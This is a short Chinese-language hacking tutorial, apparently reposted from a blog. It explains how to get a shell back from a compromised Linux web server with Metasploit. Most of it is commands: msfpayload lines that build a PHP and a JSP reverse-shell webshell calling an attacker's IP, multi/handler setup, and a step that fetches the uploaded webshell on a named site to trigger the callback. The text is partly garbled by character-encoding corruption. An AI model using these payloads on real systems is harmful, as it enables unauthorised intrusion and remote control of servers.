當(dāng)LINUX提權(quán)反彈不了時(shí).經(jīng)常遇到這種情況 請(qǐng)出MSF ..

1 .生成WEBSHELL文件
msf > msfpayload php/reverse_php LHOST=你的IP LPORT=端口 R > dis9.php
我的BT4是在/ROOT/ 目錄 然后吧dis9.php加 才能運(yùn)行
把dis9.php傳進(jìn)你的SHELL里 例如 www.91ri.org/dis9.php

?

2 . 然后MSF設(shè)置接口模板和參數(shù)
msf > use multi/handler //進(jìn)入 multi/handler 接口
msf exploit(handler) > set PAYLOAD php/reverse_php //寫入模塊 不清楚的可以先 info php/reverse_php 看看介紹
msf exploit(handler) > set LHOST 你的IP //生成dis9.php的LHOST的IP 也就是你的IP 要一樣
msf exploit(handler) > set LPORT 8080 //同上
msf exploit(handler) > exploit //執(zhí)行

?

3.反彈SHELL
然后訪問你的dis9.php
root@bt4:links www.91ri.org/dis9.php
這樣就會(huì)反彈一個(gè)SHELL
我們就可以繼續(xù)FUCK ALL

/
JSP
msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.10.1 R > balckrootkit.jsp
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD java/jsp_shell_reverse_tcp
set PAYLOAD java/jsp_shell_reverse_tcp
msf exploit(handler) > set LHOST 192.168.10.1
LHOST => 192.168.10.1
——————————————————-
這里沒SET端口 默認(rèn)的4444

轉(zhuǎn)載于:https://www.cnblogs.com/mujj/articles/2184641.html

總結(jié)

以上是生活随笔為你收集整理的当Linux提权不能反弹Shell时利用metasploit进行提权的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。